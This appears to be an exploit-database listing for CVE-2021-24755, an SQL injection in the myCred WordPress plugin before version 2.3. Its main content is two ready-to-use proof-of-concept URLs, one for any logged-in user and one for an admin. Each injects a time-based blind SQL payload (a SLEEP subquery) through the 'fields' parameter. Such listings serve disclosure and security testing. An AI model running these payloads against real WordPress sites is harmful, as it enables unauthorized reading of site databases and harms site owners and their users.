Exploit for myCred < 2.3 - Subscriber+ SQL Injection CVE-2021-24755

Name: Exploit for myCred < 2.3 - Subscriber+ SQL Injection CVE-2021-24755
Rating: 5 (275 reviews)

2021-11-01 | CVSS 6.5

## https://sploitus.com/exploit?id=WPEX-ID:01419D03-54D6-413D-9A67-64C63C26D741
(any authenticated user) https://example.com/wp-admin/users.php?page=mycred_default-history&fields=%28SELECT+5703+FROM+%28SELECT%28SLEEP%2810%29%29%29NXIL%29

(admin) https://example.com/wp-admin/admin.php?page=mycred&fields=%28SELECT+5703+FROM+%28SELECT%28SLEEP%2810%29%29%29NXIL%29